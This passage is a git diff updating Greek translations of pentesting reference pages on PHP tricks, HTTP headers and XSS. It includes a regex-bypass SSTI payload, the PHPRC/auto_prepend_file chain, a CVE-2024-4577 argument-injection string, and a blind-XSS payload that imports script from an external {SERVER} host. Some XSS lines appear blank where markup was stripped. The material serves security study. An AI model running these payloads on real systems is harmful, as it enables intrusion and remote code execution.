διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -115,12 +115,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\ **Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system()}` για να αποκτήσουμε SSTI --> RCE --> flag :)**. -Λοιπόν, με όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ +Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Type Juggling για την παραπλάνηση PHP +### Type Juggling για την απόκρυψη PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -153,16 +153,17 @@ Check: ## More tricks -- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα. -- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\ -Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2). +- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, το **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως το $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα. +- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\ +Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2). - Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι. +- Αν μια ρύθμιση php έχει **`register_argc_argv = On`** τότε οι παράμετροι ερωτήματος που χωρίζονται με κενά χρησιμοποιούνται για να γεμίσουν τον πίνακα των επιχειρημάτων **`array_keys($_SERVER['argv'])`** όπως αν ήταν **επιχειρήματα από το CLI**. Αυτό είναι ενδιαφέρον γιατί αν αυτή η **ρύθμιση είναι απενεργοποιημένη**, η τιμή του **πίνακα args θα είναι `Null`** όταν καλείται από το web καθώς ο πίνακας ars δεν θα γεμίσει. Επομένως, αν μια ιστοσελίδα προσπαθήσει να ελέγξει αν εκτελείται ως web ή ως εργαλείο CLI με μια σύγκριση όπως `if (empty($_SERVER['argv'])) {` ένας επιτιθέμενος θα μπορούσε να στείλει **παραμέτρους στο GET αίτημα όπως `?--configPath=/lalala`** και θα νομίζει ότι εκτελείται ως CLI και πιθανώς να αναλύσει και να χρησιμοποιήσει αυτά τα επιχειρήματα. Περισσότερες πληροφορίες στο [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\ -Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν: +Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, το **PASSWORD_BCRYPT** έχει **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -269,16 +270,16 @@ usort();}phpinfo;#, "cmp"); Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**). -Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) +Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) ### RCE μέσω Env Variables Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει). -- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. -1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας -2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 +- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. +1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας +2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2. - Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - άλλη επιλογή @@ -290,7 +291,7 @@ usort();}phpinfo;#, "cmp"); ### XAMPP CGI RCE - CVE-2024-4577 -Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα: +Ο web server αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως το [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b") -Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς: +Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης** μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 597cc9aae..2290ffc8f 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -56,12 +56,12 @@ **Επικεφαλίδες Cache Διακομιστή**: -- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν αποθηκεύτηκε στην cache και την τιμή **`hit`** όταν αποθηκεύτηκε. -- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**. -- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`. -- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει πρόσθετες επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες. +- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένη +- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`** +- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800` +- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες. - **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy. -- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος αποθηκεύτηκε στην cache. +- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος έχει αποθηκευτεί στην cache {{#ref}} ../../pentesting-web/cache-deception/ @@ -69,10 +69,10 @@ **Τοπικές επικεφαλίδες Cache**: -- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`. -- `Expires`: Περιέχει ημερομηνία/ώρα που η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`. -- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`. -- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`. +- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"` +- `Expires`: Περιέχει ημερομηνία/ώρα όταν η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` +- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache` +- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"` ## Συνθήκες @@ -82,23 +82,24 @@ ## Αιτήσεις Εύρους -- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι, σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: `. -- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. -- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτραπεί η λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου. +- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: ` +- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την επικεφαλίδα `Accept-Encoding` από την αίτηση. +- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό JavaScript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις επικεφαλίδες στην αίτηση. +- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει τη λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου. - **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα. ## Πληροφορίες σώματος μηνύματος - **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικό αριθμό bytes. -- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου. +- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου - **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης. -- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με την προτιμώμενη γλώσσα του. +- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με τη δική του προτιμώμενη γλώσσα. - **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστρεφόμενα δεδομένα. Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\ Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD: -- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`. +- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ## Πληροφορίες Διακομιστή @@ -108,27 +109,27 @@ ## Έλεγχοι - **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους. -- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή. +- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας την επιβεβαίωση του διακομιστή. ## Λήψεις -- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα: +- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις κατευθύνει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα: ``` Content-Disposition: attachment; filename="filename.jpg" ``` Αυτό σημαίνει ότι το αρχείο με το όνομα "filename.jpg" προορίζεται να κατέβει και να αποθηκευτεί. -## Ασφαλιστικές Κεφαλίδες +## Security Headers -### Πολιτική Ασφαλείας Περιεχομένου (CSP) +### Content Security Policy (CSP) {{#ref}} ../../pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -### **Εμπιστευμένοι Τύποι** +### **Trusted Types** -Με την επιβολή Εμπιστευμένων Τύπων μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Εμπιστευμένοι Τύποι διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις API ιστού, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή. +Με την επιβολή των Trusted Types μέσω CSP, οι εφαρμογές μπορούν να προστατευτούν από επιθέσεις DOM XSS. Οι Trusted Types διασφαλίζουν ότι μόνο ειδικά κατασκευασμένα αντικείμενα, που συμμορφώνονται με καθορισμένες πολιτικές ασφαλείας, μπορούν να χρησιμοποιηθούν σε επικίνδυνες κλήσεις web API, εξασφαλίζοντας έτσι τον κώδικα JavaScript από προεπιλογή. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -153,11 +154,11 @@ X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Για να καταπολεμηθεί το clickjacking, αυτή η κεφαλίδα περιορίζει το πώς μπορούν να ενσωματωθούν έγγραφα σε ``, ` + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο -Από [**αυτή τη συγγραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: +Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1497,7 +1522,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Εκμετάλλευση άλλων ευπαθειών +## XSS Κατάχρηση άλλων ευπαθειών ### XSS σε Markdown @@ -1518,8 +1543,8 @@ xss-in-markdown.md ### XSS σε δυναμικά δημιουργημένο PDF -Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\ -Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. +Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ +Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1612,5 +1637,6 @@ other-js-tricks.md - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}